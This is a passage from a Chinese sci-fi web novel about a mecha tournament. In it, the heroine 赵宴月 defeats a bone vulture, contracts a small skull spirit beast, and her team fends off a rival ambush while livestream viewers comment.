“当然，换别的好吃的也可以，草莓曲奇的味道不错。”司焕说到这笑了笑，看向赵宴月十分客观道：“我们队只是想更轻松地拿下比赛，某个方面来讲我们并不是竞争关系，你觉得呢？” “行。”赵宴月没多想就同意了。 换其他队她还得考虑一下，但司焕的队伍本来就走的力大砖飞路线，就算没有任何武器也足够进前一百，这600积分不赚白不赚。 第67章 给司焕小队三人的机甲加装完武器之后, 赵宴月便打算重新回到骸骨秃鹫的领地和它一决高下。 司焕放出精神力感应了一下附近的虫族位置，打算带着队友去给许白亦打600积分的黑工。 现在时间已经不早，他们并不会离开补给站多远, 方便晚上回补给站休息。 毕竟在外过夜还需要轮流守夜, 而补给站是安全区，有安保组的成员负责把守, 选手大多都会赶去自己附近的补给站休息。 赵宴月和几人商量完后便最先转身往外走，目光不经意间扫过门口，被一头耀眼的红毛闪了闪眼睛。 她脚步一顿, 这才仔细看了眼在补给站能量罩内巡视的安保组，结果发现了三两个在禁区见过的熟面孔。 安保组其他成员明显以他们为首, 看向他们的眼神里带着敬畏。 表情不羁的男人冷淡地扫过来一眼，结果发现是赵宴月在盯着他，顿时扯出一个小太阳一样的明媚微笑。 祁燃刚想抬手和赵宴月打个招呼, 结果赵宴月只是朝他点了点头, 然后就召出机甲如同银箭般穿过能量罩，遁入外面翻涌的骨尘中。 祁燃：“……” 她好冷漠, 就好像自己从未让她开心过。 赵宴月直播间的网友见状纷纷看热闹不嫌事大地发起了弹幕。 “祁上校？他刚是想和垃圾女王打招呼吗？这两人怎么会认识。” “笑死了，垃圾女王好像急急国王, 就算是上校和她打招呼她都不带停下来的。” “祁燃！你怎么跑来当安保组了！一天天的真不让人省心。” “注射了精神海稳定剂后精神是稳定了, 但头疼的问题还是没有解决啊, 联邦怎么能这么压榨S级机甲尖兵！” “虽然垃圾女王走得很快, 我没有太看清, 但是祁燃旁边是不是还有左逸和奚和……” “这三人组怎么会来守供给站啊，一般不都是在悬浮舰上等着捞人吗？” “看直播其他供给站根本没有S级大佬当守门员，只有幽灵森林边上这个供给站来了三，降落在这个供给站附近的选手有福了。” “别管他们了, 骸骨秃鹫好像朝我冲过来了……” “温馨提示，垃圾女王记得保护好你的专属电蝇蛾，这也在新星杯选手行为规范里面。” “话说我真想契约一只电蝇蛾……这样就可以靠灵兽上班赚钱养我了。” “哇哇哇，上官方直播间大屏了！” 悬浮舰总控室内的中央大屏内，一声骸骨秃鹫的尖啸声传来。 巨大的鸟型骨架展开双翅盘旋在上空，它看见闯进领地里的银白色机甲后，眼眶里倏地亮起两团的鬼火。 这个抢它饭的强盗竟然还敢回来。 赵宴月操控机甲在嶙峋的骨丘间疾驰，右臂一抬，嵌入机甲的漆黑狙击枪枪口便对准了在空中的巨大骨架。 精神力顺滑地流入狙击枪，一道黑红色的火焰弹瞬间撕裂空气袭向骸骨秃鹫。 骸骨秃鹫骨翼猛收，庞大身躯在空中一个翻滚避开，而后对准银白机甲俯冲而下，展翅间发出两道巨大的破空声。 赵宴月操控着机甲打出一个极限闪避，碎骨飞溅间，骸骨秃鹫的利爪擦过机甲刚刚立足的骨头上，将巨大的化石骸骨抓得粉碎。 东三春看了眼直播间右上角的选手个人信息，然后道：“虽然是大一新生，但赵宴月选手明显已经对操控机甲颇有心得。” 贝山晴接话道：“她的机甲似乎格外灵巧，我说的灵巧不是指轻型机甲的灵巧感，而是动作透着大部分机甲都没有的灵活。” “是的，目前来看选手闪避很到位，对战技巧仍有不足，按照对战的情况来看，这只骸骨秃鹫的等阶约摸在16-17阶之间。” 屏幕里的银白机甲此时正好在骸骨秃鹫袭来的利爪下翻滚起身，她迅速在后退间升空拉开距离，而后抬手对准刚俯冲到她下方的骸骨秃鹫。 高速的火焰弹咻咻咻地朝骸骨秃鹫射去，接二连三的子弹直接封死了骸骨秃鹫的闪避空间。 即便骸骨秃鹫的反应已经快得惊人，但好几发黑红火焰弹都避无可避，擦着它的翼骨掠过灼烧出几道焦痕。 “加装了武器的机甲非常有优势，不然选手只能打出物理攻击，或者选择消耗开启天赋技能进行攻击，基本无法战胜这只骸骨秃鹫。” “是的，加装了武器后武器上可以附着技能力量，有了技能的附着，每一击的杀伤力是会翻倍提升的。” “即便如此，这一战对决的胜利者会是谁依旧充满悬念，不要忘了这是一场起码越了两阶的对战。” 屏幕里骸骨秃鹫已经被赵宴月的几枪彻底激怒，它厉啸着再次如同白色陨石般俯冲而下，速度快到甚至带出了刺耳的音爆。 赵宴月瞳孔微缩，几乎是调动了机甲里全部的细分脉络，才做出一个极限的后仰滑铲从它的爪下滑了过去。 “教科书级的闪避，丝滑得像一条抓不住的泥泥兽！如果换做是我直面这一击，机甲应该已经受损了。” “她的机甲真的相当灵活！选手已经将机甲所有的引力脉络都调动到了极致！我目前甚至还没能看出这是什么契约灵兽的机甲态。” “骸骨秃鹫用出了天赋技能‘腐蚀光线’，对上这密密麻麻的射线，赵宴月选手很难做到无伤脱身。” 天空原本就暗的天色被紫黑色的光线映得亮了几分，而后又被更亮的光线掩盖。 一颗颗黑红色火球撕裂天穹，带着炽热尾焰划破夜幕，和细细密密的射线一对撞便发生了爆炸，炸出了充满毁灭气息的朵朵烟花。 双方技能对撞的混乱能量直接将大片骨丘夷为了平地。 “选手的天赋技能成功压制住了骸骨灵兽的‘腐蚀光线’，但机甲仍被漏网之鱼腐蚀了不少。” “骸骨秃鹫的受伤情况明显更严重！这火球竟然还会触之即爆！赵宴月选手这一手甩狙很不错，不过命中率稍稍有些欠缺。” “贝山晴老师还是这么严格，骸骨秃鹫的飞行速度非常快，行动轨迹也不好预判，身上又全是洞，很难做到百发百中。” “选手似乎有些恼羞成怒，直接开启了火力压制！骸骨秃鹫一和她拉开距离就得面对狙击枪十发五中的火力，而和她拉近距离它又无法选中对手进行攻击。” “骸骨秃鹫已然显现出了颓势，这场对决的结果应该没有悬念了。” 随着官方解说话音一落，赵宴月最后几枪锁定了骸骨秃鹫翅膀连接身体的关节，打出了百发百中的高端操作。 别的不说，至少挽回了些许“描边大师”的尊严。 骸骨秃鹫的身上焦黑一片，翅膀严重受损，巨大的身躯如同断线的风筝从空中直直坠下。 半个幽灵森林猛地震了一震，溅起漫天灰白尘埃。 被骸骨秃鹫砸出来的坑底，一枚紫黑色的灵兽蛋静静地伫立。 赵宴月偷感很重地左右看了看。 四周无人。 这可是机甲战宠的灵兽蛋，一百万星币起步。 她刚想偷偷摸摸捡起来塞进自己的驾驶舱，结果一架喷涂着“灵兽孵育中心”LOGO的悬浮梭车瞬间突破低垂的铅云，十分精准地降落到了灵兽蛋的旁边——速度快到他们好像早就已经在天上等候多时。 穿着灵兽孵育中心工作装的工作人员动作迅捷、训练有素地将灵兽蛋收容进特制容器。 赵宴月收回靠近的脚步，顺便把机甲收进精神海，十分不真心实意地夸道：“你们动作还挺快哈。” 工作人员展露出一个官方的微笑：“灵兽蛋放在外面一旦被虫族发现直接就被吸干了，不得不快。” 悬浮车迅速带着灵兽蛋升空撤离，整个过程高效得惊人，留下赵宴月一个人在原地惋惜。 悬崖上的巢穴里，一个小骷髅头见骸骨秃鹫完犊子了，眼眶里的两簇幽蓝魂火直接变成了跳动的爱心。 它从巢穴乱七八糟的灵植和晶源里扒拉出一朵大红花，然后把大红花当成降落伞似的往外一蹦，混在漫天粉尘里精准地落进赵宴月装着净化晶源的口袋。 安全着陆后，它一点不认生地捧起一颗晶源啃了起来，翘着的二郎腿一摇一摆。 枯骨的心情不错。 忍气吞声七八年，它终于摆脱那个天天把它当成解压玩具玩的死秃鹫了。 这么多年倒也不是不想反抗，主要是它一个非攻击类灵兽实在是打不过。 过了这么多年的苦日子，如今终于有人收了那个孽障。 “吧唧吧唧……” 感受到口袋里的轻微动静，赵宴月沉默地将手伸进裤兜。 碰上冰冰凉凉骨头的一瞬间，一行金字出现在她的眼前。 “检测到重点灵兽，此为彻底解锁《进化图鉴》灵兽之一，请尽快进行收录。” 骇死人哩。 原来是灵兽啊。 还以为兜里进飞天大耗子了。 赵宴月捏着小骷髅头骨的手一顿，然后对着电蝇蛾道：“同志，麻烦开下隐私模式。” 隐私模式随时都可以开，只不过隐私模式下选手的行为无法被记录，击杀虫族也无法获得积分。 存在感很低的电蝇蛾复眼里的光一灭，小小声道：“叽叽。” 赵宴月从电蝇蛾的身上收回视线。 兜里的灵兽应该就是死灵秘境的秘藏灵兽——枯骨。 虽然不知道它钻进自己兜里是想干嘛，但是揣着一只没被契约的秘藏灵兽在身上还是太危险了。 秘境里孕育出的灵兽最低也是进化态，问题是只有幼生态的灵兽可以进行契约。 秘藏灵兽不能通过打败它的方式让它变成灵兽蛋，契约方法就是先和它表达出契约的意愿，然后只需要等秘藏灵兽说我愿意就行。 管它愿不愿意呢，赵宴月有一百零八个让它愿意的方法。 到了她兜里的当然就是她的。 确定直播间已经黑屏了，她把小五叫出来开起了家庭会议。 小五已经在精神海吸精神力把自己吸回了满状态，此时每一根毛发都亮得发光，浑身上下都写满了美貌两个字。 它刚一出现，就听见赵宴月问道：“小五，我想再契约一只灵兽，你同意还是反对？” 一只小骷髅随即从她的兜里冒出了头，它两只手扒拉在裤兜的边缘，朝小五歪了歪脑袋疑似卖萌地和它大眼对小眼。 赵宴月见状干脆把它提溜了出来展示给小五看，小骷髅两边太阳穴的位置被大拇指和食指捏住，像是荡秋千似的用自己的身体在空中晃来晃去。 晴天霹雳。 小五不可置信。 它抬起粗壮的爪子指着她手里的小骷髅：“嗷呜嗷呜嗷呜嗷呜！” 小五言辞激烈地试图说服赵宴月换一只灵兽契约，因为这一只看起来太菜了，根本保护不了她。 赵宴月完全没想到小五的关注点竟然在这里。 而在一听到小五的话后，枯骨玩耍的动作顿时一顿，空洞的眼眶里冒出两簇蓝火。 它也顾不上卖萌了，言辞听起来也十分激烈：“卡卡！卡卡卡卡卡！卡卡卡卡卡卡！” 赵宴月：“……？” 叽里咕噜说什么呢。 没契约，一个字都听不懂。 “小五。”赵宴月打断了小五同样激烈的嗷呜嗷呜：“你先说你愿不愿意当大哥。” 赵宴月想契约枯骨主要是因为它是重点灵兽，契约能一步到位解锁进化链，省得她还得拼死拼活地去搞研究。 她和枯骨又不熟，能契约最好，要是小五不愿意多个灵兽抢它的地盘，那自然还是以小五的意愿为准。 反正就算不契约，进了她兜里的也是她的。 小五被“大哥”这两个字取悦到了，银白巨狼矜持地点了点头：“嗷呜。” 在意识到小骷髅会是自己的小弟后，小五甚至感觉它顺眼了不少，眼神里充斥着些许父亲般的慈爱。 菜点就菜点吧，毕竟是当小弟的。 对比着小骷髅巴掌大的身形，小五瞬间自信心爆棚。 它会好好当大哥的！ 赵宴月感动地摸了摸小五，太好了，又让她走上捷径了。 不愧是小五，多么善解人意。 既然小五这边没问题，赵宴月又扭头看向小骷髅，不过表情一下子就变得阴恻恻的。 “是这样的，小六，你刚吃了我的晶源所以需要卖身还债，如果不和我契约，我就会把你关进小黑屋，每天拿小皮鞭抽打八百遍。” 威胁完后，赵宴月才说出结婚誓词：“请问你愿意和我契约吗？” 枯骨听完赵宴月这一段话，眼眶里的蓝火一震。 好、好直接。 真是正合它意。 它进赵宴月的兜里本来就是打算和她契约，已经有契约灵兽了又如何——反正它看中的契约者就是它的。 只要能徐徐图之，总能加入这个家…… 结果现在的情况竟然是它被强制爱了。 好刺激。 好喜欢。 一人一兽的脑子里各想各的，最后呈现出一副其乐融融的场面。 枯骨清了清嗓子，立马摆上谱，纡尊降贵地“卡”了一声。 它刚一“卡”完，赵宴月只见手里的小骷髅突然变得小了一大圈，直接退化到了幼生态七阶。 赵宴月用一种“手快有手慢无”的速度迅速在它身上编制出精神力网，而后就感应到枯骨用一种更快的速度出现在了自己的精神海里。 双方都透着一种急不可耐的迫切，好像生怕慢了一秒对面就会后悔。 小骷髅一进精神海，便做出了一个深吸一口气的动作。 浓郁的精神力吸进身体，它眼眶里的蓝火不自觉地又变成了爱心。 小六迈动着小短腿在附近巡视一圈，在小五的帮助下火速抢了树上某不知名鸟类的窝，自己美美躺进了窝里。 已经没空为被抢了窝的鸟哀悼了。 见两只灵兽相处和谐，赵宴月退出精神海，一行金字重新在眼前浮现。 “枯骨，进化态幽冥，骸骨属性灵兽，天赋技能‘生机汲取（CD24h）’，进化材料为大红花、幽光草、A级晶源。” 赵宴月看了眼技能后面的标注，有些讶异这个天赋技能竟然一天只能用一次。 目光再扫过进化材料，赵宴月眨了眨眼，从兜里摸出一个不知道哪来的大红花。 已经背了五分之一《灵植大全》的赵宴月恰好认识它，这朵大红花的学名就叫大红花。 A级晶源…… 赵宴月又从兜里摸出一颗A级晶源。 自给自足。 只差幽光草了。 赵宴月又伸进口袋摸了摸，这下确实什么草都没摸出来。 不过幽光草恰好也在赵宴月的知识范围内，这种灵植就生长在死灵秘境里的迷雾沼泽附近，离她目前的位置有点距离。 时间已经不早，赵宴月在漆黑的夜色中赶回了补给站。 补给站的内部和她第一次进来时看到的场景已经大不相同——之前是补给站，现在看着像是难民营。 选手们在地上站的站坐的坐躺的躺，电蝇蛾也都开了隐私模式。 有些小队一边闲聊一边喝没滋没味营养液，有些小队生活质量比较高，围在一起吃起了自热火锅，散发的香味让周围人怒目而视。 ——还有些小队已经两眼一闭就是睡觉，已经不知今夕是何夕。 赵宴月跨过地上横七竖八的人，在角落里找到了自己的队友。 “怎么还没睡？早睡早起养好精神。” 江茂茂举手回答：“我和许哥刚才在直播间里看你大战骸骨秃鹫呢，都上官方大屏了，你都不知道你赢了之后弹幕有多热闹！” “常规操作。”赵宴月抬了抬下巴，心情愉悦道：“武器换好了吗。” “换好了。”江茂茂点点头，往旁边地上的长刀和金属弓上指了指：“他们动作都好快，这才第一天，兑换光屏上的武器已经空了一大半，还好我们换得早。” 赵宴月的目光划过两把武器，拍了拍屁股席地而坐，盘着腿掏出引导棒，在武器上比比划划。 许白亦一条腿伸直，一条腿屈起来地背靠在墙壁上，垂眸安静地看了会儿她的动作，然后说道：“我们第一赛程就可以直接去击杀高等虫族，尽量在第一赛程囤够江茂茂需要的净化资格，第二赛程抢空投物资的不确定性太多了。” 新星杯说到底是团队战，任何一名队友淘汰全队积分都会被直接扣除5000，放弃队友的操作是万万不可的。 江茂茂一想到自己的两个队友都用不着净化资格又心虚上了。 他看向赵宴月，努力展示自己的作用：“我的天赋技能是穿梭，最远可以跨越100公里，可以节省你们赶路的时间和精神力，还能杀一些低等虫族攒攒积分。” ……高等虫族就算了。 一只A级虫族200积分，一个净化资格500积分，要是他迎头撞上A级虫族，那真是直接倒扣300积分。 对他来说，对上高等虫族不被污染就是胜利。 赵宴月对这个安排没有异议，也意识到了新星杯的关键物资其实就是净化资格。 在参赛的四千五百多支队伍里，顶多只有七八十支3S队伍不需要净化资格，可以没什么花销地攒积分。 与之相对的是这些队伍也并不会拼了命地去击杀高等虫族，毕竟他们精神海的污染是不可逆的。 作为对抗S级虫族的唯一对策卡，这些S级机甲尖兵并不会将精神海的污染份额留给S级以下的虫族——而秘境里一般也不会出现高达S级的虫族。 他们用不着兑换净化资格，又是最强战力，随便打打的积分就足够排在前列。 这也导致每一届新星杯里最勇猛的队伍永远都是传说中的3A队伍，他们是真正意义上的进可攻退可守。 从3S队伍指缝里溜出来的联赛参赛资格就那么多，队伍间的竞争十分激烈且疯狂，反正烂命一条就是干。 赵宴月收回思绪，架构好两把武器后让许白亦召唤出机甲，效率很高地将武器加装到了两具机甲上。 武器和机甲一连接，便相当于和契约灵兽融为了一体。 周围不少还没睡的夜猫子看过来的目光都懵了，完全搞不懂第一赛程哪来的可以加装的武器。 赵宴月折腾一天也有点累了，连当BKing的兴致也寥寥，干脆无视了这些目光把小五叫了出来。 她打着哈欠窝进小五柔软的腹部，感叹这简直就是席梦思plus版。 周围选手看过来的眼神顿时变得酸溜溜的，像是柠檬成了精。 谁家机甲战宠会这么乖啊！不把主人当床垫就算它们善良了！ 有不知名选手指着江茂茂身后的机甲，看向赵宴月结结巴巴道：“你、你、你怎么可以这样！” “干嘛！”江茂茂挡在赵宴月身前勇猛冲锋：“看什么看！有谁规定机甲只能在第二赛程加装吗？” “你开挂！你作弊！” 赵宴月趴在小五身上，忍了又忍还是没忍住，懒洋洋地煽风点火道：“好了好了，我还没和你们作真正的弊呢。” 第68章 第二天早上八点, 新星杯赛事主办方准时准点地在星博上发布了最新消息。 “202届新星杯第一赛程第一天统计结果已出炉：淘汰选手526人，剩余参赛选手13142人。” 赵宴月刚睁开眼就听到了补给站里窸窸窣窣的讨论声。 “第一天怎么就这么多人被淘汰了，战争都还没开始呢。” “是死灵秘境不知道哪个区域出现了S级虫族, 当时附近的人精神海污染值直接越过60%, 就算有净化资格都来不及用。” “嚯，遇上S级虫族那确实很倒霉了, 也就A级和S级能扛一下。” “话是这么说，这么多选手里A级一共也就两三千人，S级那更不用说, 说到底还是B级遍地走。” “最后怎么着了？被哪个3S的小队解决了吗？” “哪有那么巧，是安保队下场了, 你都不知道这一届安保队有多猛，哇塞，当时悬浮艇上二十多个S级大佬全冲下来了。” “总感觉我们这一届被溺爱了, 突然好有安全感。” “听被淘汰的选手说, 大佬们把他们提溜进悬浮艇的路上，一直在争今天谁去守补给站, 也不知道真的假的。” “啊？骗人的吧，补给站那么多, 一人守三个都不够用啊, 这也需要抢？” 赵宴月睡懵的大脑缓缓运转, 好像猜到这一届安保组里都是谁了。 不过是谁都不重要, 反正她是绝对不会因为淘汰被捞上悬浮舰的。 补给站里横七竖八地躺了一片, 昨天奔波劳累了一整天，这个点还在睡的选手有不少。 许白亦倒是醒了，正垂眸研究着光脑上投射出来的死灵秘境虚拟地图。 赵宴月一巴掌拍在江茂茂的背上，把他摇了起来：“起床！” 她都醒了, 队伍里怎么能还有人在睡觉。 江茂茂坐起身打哈欠的功夫，赵宴月看向许白亦道：“我们往迷雾沼泽走，击杀沿路的虫族。” “迷雾沼泽？”许白亦端详了一会儿地图，“就算用上江茂茂的技能，加上路上杀怪的时间，起码也得三四天才能到。” 现在所在的补给站当第一赛程的驻扎点很不错，离幽灵森林和骸骨荒原都很近，里面的虫族数量不少。 他抬眸看向赵宴月问道：“你有什么一定要往那边走的理由吗？” “我得去迷雾沼泽采点灵兽进化材料。” “……没记错的话，你的灵兽已经终极态了？” 赵宴月看着像是在胡说八道似的陈述：“因为我昨天顺手契约了一只新灵兽。” 在许白亦半信半疑的目光下，她有理有据地继续道：“到了进化态之后我就能多一个天赋技能，队伍的容错度会更高。” 许白亦：“……” 怎么回事，不像演的。 另一边的江茂茂虽然在喝着营养液，但也支起耳朵在听他们聊天。 赵宴月这句话一说完，他便被营养液呛了好大一口，一边咳咳咳一边提高音量道：“真的假的？你什么时候契约的第二只灵兽？” “昨天击杀骸骨秃鹫之后。” 江茂茂：“……” 怎么回事，不像演的。 他回忆了一番，记起赵宴月完成个人任务后就开了隐私模式。 难道真是契约灵兽去了。 他确实听说过有极少数契约者契约了不止一只灵兽，但他也确实从未真正见过有契约两只灵兽的人。 “请问这是击杀骸骨秃鹫的赠品吗，杀一只送一只的。” “你要这么说，那也有点道理。” 许白亦见赵宴月确实没开玩笑，倒也没再多问，研究起了去迷雾沼泽的路线和路上途径的补给站。 多一个天赋技能确实优势会更大，他们队伍并不是能轻轻松松稳住前一百名的队伍，任何能抓住的机会都不能错过。 江茂茂已经从精神恍惚的状态中回过神，好奇心爆棚地发问：“新灵兽的天赋技能是什么？也是攻击类灵兽吗？” 赵宴月喝营养液的动作一顿，随口敷衍：“等进化之后就知道了。” 她是知道这个问题的答案，毕竟《进化图鉴》上写得清清楚楚，但是这可不兴往外说。 江茂茂闻言挠了挠头，想捋清这里面的逻辑但是失败了。 众所周知，只有没有进化链的灵兽才天赋技能成谜，但是赵宴月都知道进化材料了，那就不可能不知道天赋技能。 所以真相只有一个。 江茂茂信心满满地提问：“你是不是契约了一只还没有进化链的灵兽，不过这样的话，你怎么会知道它的进化材料是什么？” 赵宴月：“因为我是生物机甲工程专业的，我们专业的人生来就能一眼看出一只灵兽的进化链是什么。” 江茂茂：“……” 好敷衍的回答，她的冷酷，零下八度。 “走吧，离开之前先去用积分换点物资。”许白亦收起地图站起身。 赵宴月看了眼小队的积分，发现余额还有不少。 他们队伍昨天不仅获得了500的任务积分，还有司焕小队打了一天黑工送来的600积分以及许白亦一人养活全队赚来的两百多积分。 即便换了三把武器和一些物资，现在也还剩了六百积分，足够给江茂茂换一个净化资格先上道保险。 赵宴月的目光在净化资格上顿了顿，然后便加入了采购单。 积分一扣除，除了兑换口掉落的物资外，三人的光脑里都自动接收到了一份邮件。 上面显示着小队已拥有一个净化资格，小队任意成员点击使用后，便会被安保组成员接送到悬浮舰内进行精神海净化。 江茂茂将上面的信息看了又看，看向两个队友的眼神里充满了感动。 虽然净化资格属实有点贵，但是使用后能近距离接触净化师殿下诶！ 看着江茂茂眼里的期待，赵宴月狐狸眼一眯，恶魔低语道：“唉呀，突然发现也能当逃命券用呢。” 许白亦的目光扫过江茂茂天塌了的眼神，点了点头附和：“有道理，打不过我们就用这张券逃跑，去悬浮舰上歇歇再下来。” 江茂茂：“……不要这么浪费啊。” 直播间在他们踏出补给站后都开启了，只不过在死灵秘境里赶路的体验着实一般，守在直播间的人不多。 死灵秘境里白天的光线也比较昏暗，视野被压缩，空气中弥漫着一片灰白，不知是细微的粉尘还是薄雾，能见度大概只有百米。 偶尔有风穿过巨大骸骨构成的天然拱门，发出一阵呜呜的风声。 赵宴月和许白亦都坐进了江茂茂的机甲驾驶舱，里面装修得相当豪华，可以说不愧是人工打造的机甲。 江茂茂操控机甲其实就是用精神力操控模型机，机甲对他来说类似于提线木偶，换言之他的机甲其实谁都可以操控。 生物机甲虽然只有契约者本人可以操控，但契约者的精神力接入机甲后能做到完全同频，机甲的身躯更像是契约者自己身体的延伸。 所以某种程度上来说，江茂茂坐在驾驶舱里只是视野更方便而已。 他时不时启动技能来一个一百公里的穿梭，在精神力耗尽等待回复的功夫，就由赵宴月接手机甲的驾驶。 江茂茂原本还担心她不能适应这种驾驶模式。 虽然都是用精神力操控，但是两者大概类似于手操和脑操的区别，结果赵宴月竟然开得还挺稳当。 许白亦则放出精神力感知着附近的虫族，遇到低等虫族群直接扔出一个技能劈倒一大片，连机甲都不用停。 赵宴月看了眼光脑上上涨的积分，夸赞道：“一顿操作猛如虎，一看战绩五十五。” 许白亦试图和她讲道理：“E级虫族就2积分。” 等着回复精神力的江茂茂无所事事，顺口当起了裁判：“五十五已经很多啦，不要被第一天的积分冲昏头脑，一只A级虫族也才200积分呢。” 他看着惬意得很，机甲有人开，积分有人刷，这好日子谁过谁知道。 没一会儿，原本在骸骨荒原上高速行驶的机甲突然停了下来。 江茂茂迅速坐起身，将脑袋探到驾驶座旁往视野屏上了一眼，十几双血红的眼睛在灰白雾气中闯入视线。 两只三米多高的人型虫族和七八只体型硕大、长得十分崎岖的虫族身影渐渐清晰，在雾气中越来越靠近。 “……好有冲击力的场面。” 赵宴月收回感应的精神力，播报道：“两只B级虫族领头，其余七八只都是D级。” 就在她的精神力扫过虫族的瞬间，虫族头上的触角也微不可见地动了动。 江茂茂稍稍紧张了起来，不管怎么说，这还是队伍第一次遇到B级的高等虫族。 赵宴月将驾驶座还给江茂茂，和许白亦一起出驾驶舱后召唤出了自己的机甲。 江茂茂脑子里传来赵宴月的指令：“注意和B级虫族拉开距离，其他虫族交给你了。” 银白机甲和白紫色的机甲已经化作两道寒光闯入虫族群，各自牵制住了一只B级虫族。 江茂茂从队友身上收回视线，看向了留给他的小喽啰，即便对手只是D级虫族，他也没有贸然靠近。 他知道自己精神海等级低容易被污染，这也是他选择弓这种远程武器的原因。 虽然说是能见到殿下很激动，但是要拿到500积分并不容易，杀两只A级虫族都不够用。 就算他确实是这个队伍里最没用的，至少也该尽最大的努力减少积分的消耗。 别说江茂茂，就是赵宴月也是第一次对上B级虫族，她以往顶多能算作远观，从来没有和虫族这么接近过。 和B级虫族打起来的感觉很诡异，像是在这另一具机甲对战。 恐怖的是虫族就像是天生的战斗天才，赵宴月能感受到敌人比她在地下黑赛遇到过的所有选手都强。 难怪都说同等阶下S级虫族比S级机甲尖兵的实力更强，当时看到这个观点的时候赵宴月还半信半疑，现在她是彻底服了。 别说S级，反正B级虫族确实是比她这个B级契约者强。 赵宴月本就战斗技巧略有欠缺，对上B级虫族更是全程落于下风——它实在是比A级骸骨秃鹫难对付多了。 B级虫族速度极快，体型也比骸骨秃鹫小得多，火焰弹很难命中不说，偏偏它还喜欢拉近身位打近战。 赵宴月的天赋技能更适合群攻，或者打一些体型更大的虫族，对上单体怪实在是有理说不清。 天赋技能本身消耗的精神力就多，这种情况下如果对面还吃不满伤害，那毫无性价比可言。 就在赵宴月感到些许力不从心的时候，一道银光精准斩向了B级虫族的关节连接处，许白亦不知何时已经解决了他的对手。 赵宴月见状迅速和B级虫族拉开了距离，让两个都喜欢打近战的对上，自己则往后退到了舒适区。 在许白亦和B级虫族缠斗间，银白机甲的狙击枪一抬，数十发火焰弹带着风声精准击中了虫族胸口的十几个能源节点。 虫族胸口晶源向全身输送能源的节点被同时阻断，许白亦抓住时机，用布满雷光的长刀挑出了它胸口的晶源。 远处嶙峋的骨丘后，两双眼睛注视着这一切。 “这个队伍真邪门，怎么机甲上还加装了武器，看着像是有望进前一百的队伍。” 华妩红唇勾起一丝弧度，目光锁定正在清理D级虫族的江茂茂，朝身边的人使了个眼色：“柿子要挑软的捏，把他送出去。” 江茂茂刚清理完最后一只D级虫族，就感觉一股巨力从身上传来。 猝不及防眼前一个天旋地转，机甲就被一个凌厉的过肩摔狠狠掼倒在地。 他都来不及反应，就感到有人把他从驾驶室里拖了出来，然后伸手去按他的光脑。 “不是哥们？”江茂茂惊叫出声。 他瞬间意识到对面的人要做什么，手速很快地用所剩不多的精神力极限使用了穿梭。 精神海里的精神力实在所剩不多，天赋技能只堪堪将他送到了不远处队友的身边，但这已经足够了。 江茂茂火速告状道：“这个天杀的想按我的退出键！我要是被送走了咱们队得倒欠5000分！太阴险了！” 赵宴月和许白亦刚结束战斗，抬眸看向了搞偷袭的不速之客。 严舒也冷静地和他们对视，没搞明白新星杯里怎么会有人契约的灵兽是非攻击类灵兽。 严舒也：“……” 华妩：“……” 赵宴月：“……” 许白亦：“……” 沉默，沉默是今晚的康桥。 五个人直播间的弹幕都快笑晕了。 “笑死，强制退赛专家团首次滑铁卢了。” “垃圾女王都沉默了。” “诶？华妩怎么就一个队友了，是因为自己队友被阴走了所以也要撕了别人的伞吗？” “不是的孩子，不是的，她的队友是B级的机甲工程师，正在补给站里吃香喝辣呢，没让他参与战斗。” “笑死了，华妩可是‘强制退赛首席专家’，这个流派的开山祖师，其他选手都学的她好不好。” “华妩的队伍不搞强制退赛也能进前一百吧，两个S级一个工程师的配队很稳了。” “难说，这一届的3A队伍格外多也格外猛，他们实力强不说精神海还能被净化，第一赛程就去冲A级虫族了，你看华妩敢不敢去。” “也有道理，冲A级虫族不如直接干掉有威胁的队伍，这5000积分一扣那真是前一百直接没指望了。” “天杀的那是什么？！有A级虫族撕破秘境冲过来了！” “救命……我一直搞不懂虫族到底是怎么进的秘境，现在我知道了，真就直接手撕秘境啊……” “给你们科普一下，星际虫族其实是秘境虫族的分支，不过秘境虫族已经渐渐落魄了，许多秘境里甚至已经没有了虫族的存在，而星际虫族没事也不会强行进秘境，所以这很诡异。” “我听说过一个说法，虫族和灵兽原本都在一个世界，这个世界破碎后变成一个个秘境附着在三垣星系，灵兽选择和人类契约从秘境中出来，虫族则通过寄生虫族寄生到人类身上，带着许多虫母卵逃离了秘境，发展成了星际虫族。” “是的，双方用不同的方式和三垣星系建立了链接，只不过灵兽是‘正规移民’，虫族是‘偷渡’的黑户，所以虫族再想进入秘境很困难，而且是等级越高越困难，这也是秘境里很少有S级虫族的原因。” “别科普了朋友，A级虫族为什么朝华妩冲过去了……” A级虫族一出现，散发的精神污染便如同实质的潮水般扩散开来。 江茂茂首当其冲，感觉自己的脑袋像被重锤砸了一下。 不会吧不会吧。 没被人阴走，结果要被A级虫族突脸送走了。 光脑上的精神海污染值监测器飙升又瞬间降下，江茂茂鼓足勇气去看的时候，发现污染值仅仅停留在30%。 脑子里穿来赵宴月的声音：“过来过来。” A级虫族出现后并没有太快动作，它的视线似乎在赵宴月和华妩的身上停留了片刻，然后便直接朝华妩冲了过去。 它只接收到了目标任务的地点信息，并且知道目标是女性，50%的概率总不能选错。 见A级虫族二话不说和对面打起来了，赵宴月当机立断招呼着两个队友赶紧撤。 三个人开着机甲跑了一段距离后停下脚步，然后猫猫祟祟地蹲在华妩小队原本蹲的位置，透过骨丘远远地观察着战况。 华妩和严舒也都是S级机甲尖兵，两人联手对上A级虫族应该并不会太艰难。 江茂茂一边紧张地看着，一边小声嘀咕道：“……这A级虫族的污染怎么感觉也就那样。” 昨天被S级虫族突脸的B级直接被送走了，他一个C级被A级虫族近距离接触应该也会被送走才对，结果污染程度距离60%的强制退赛线还差了足足一半。 许白亦的精神海污染指数还属于基本没被污染的状态。 他对虫族的污染效果也不是很清楚，虽然自己是S级精神海，但是他总感觉这个数值有点低于预期，不像是A级虫族的水平。 “是有点奇怪。”许白亦客观评价，然后推了推赵宴月道：“你觉得呢。” “……我不觉得。” 他们对虫族的污染效果不清楚，那赵宴月就更加不清楚了。 说到底三人都是第一次近距离面对A级虫族，对A级虫族的污染还只停留在“听说”的概念上，不然她下手也不会这么没轻没重。 面对许白亦和江茂茂看过来的求证视线，赵宴月目视前方啧啧称奇道：“怎么回事，两个S级加起来和一只A级虫族打了个不分上下。” 许白亦回过神，顺着她的目光看过去：“没有和王虫对战的经验导致的。” 江茂茂也感叹道：“虽然都是S级机甲尖兵，但是和悬浮舰上S级大佬的壁也太厚了，显得我们选手好菜。” 许白亦：“并非显得。” 赵宴月赞同：“菜得很真实。” 